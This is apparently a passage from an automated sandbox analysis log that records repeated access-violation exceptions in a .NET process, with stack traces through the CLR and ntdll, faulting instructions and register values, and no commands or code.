GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532884 registers.edi: 3533228 registers.eax: 0 registers.ebp: 3532892 registers.edx: 0 registers.ebx: 3536132 registers.esi: 43262060 registers.ecx: 43155072	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9d176 0xb9ca31 0xb97d3d 0xb968b1 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532860 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532868 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42076400 registers.ecx: 44570168	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9d176 0xb9ca31 0xb97d55 0xb968b1 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532860 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532868 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42076400 registers.ecx: 45974860	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9d176 0xb9ca31 0xb97d55 0xb968b1 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532860 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532868 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42076400 registers.ecx: 47321624	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9daa2 0xb9d449 0xb97d3d 0xb969cc 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532912 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532920 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42076400 registers.ecx: 42619136	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9daa2 0xb9d449 0xb97d55 0xb969cc 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532912 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532920 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42058276 registers.ecx: 44013072	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9daa2 0xb9d449 0xb97d55 0xb969cc 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532912 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532920 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42058276 registers.ecx: 45406720	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9e1b4 0xb9dc11 0xb97d3d 0xb96ad2 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532944 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532952 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42058276 registers.ecx: 46800480	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9e1b4 0xb9dc11 0xb97d55 0xb96ad2 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532944 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532952 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42058276 registers.ecx: 43511528	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9e1b4 0xb9dc11 0xb97d55 0xb96ad2 0xb95091 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3532944 registers.edi: 3533252 registers.eax: 0 registers.ebp: 3532952 registers.edx: 0 registers.ebx: 3536132 registers.esi: 42058276 registers.ecx: 44907800	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xb9c668 0xb9f53b 0xb9eae6 0xb950e9 0x7ed9ff 0x7e7c1d 0x7e72d3 0x7e3c6b 0x7e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xb9c6ab registers.esp: 3534036 registers.edi: 3534300 registers.eax: 0 registers.ebp: 3534044 registers.edx: 0 registers.ebx: 3536132 registers.esi: 45476708 registers.ecx: 45483684	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0x4ed0f9 0x4ecefb 0x4e7ad8 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x4ed230 registers.esp: 3533252 registers.edi: 3533304 registers.eax: 0 registers.ebp: 3533316 registers.edx: 8464680 registers.ebx: 3534756 registers.esi: 41021712 registers.ecx: 0	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf478c4 0xf4715a 0xf4702d 0xf45353 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531508 registers.edi: 3531852 registers.eax: 0 registers.ebp: 3531516 registers.edx: 0 registers.ebx: 3534756 registers.esi: 41793936 registers.ecx: 42920580	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf478c4 0xf4715a 0xf47045 0xf45353 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531508 registers.edi: 3531852 registers.eax: 0 registers.ebp: 3531516 registers.edx: 0 registers.ebx: 3534756 registers.esi: 41793936 registers.ecx: 44224984	1
__exception__ Sept. 13, 2023, 7:44 a.m.	stacktrace: 0xf4b950 0xf478c4 0xf4715a 0xf47045 0xf45353 0xf44381 0x4ed9ff 0x4e7c1d 0x4e72d3 0x4e3c6b 0x4e35d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72dc2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72dd264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72dd2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72e874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72e87610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f11dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f11e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f11f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f1416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7350f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f07f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f04de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xf4b993 registers.esp: 3531508 registers.edi: 3531852 registers.eax: 0 registers.ebp: 3531516 registers.edx: 0 registers.ebx: 3534756 registers.esi: 41793936 registers.ecx: 41714896	1
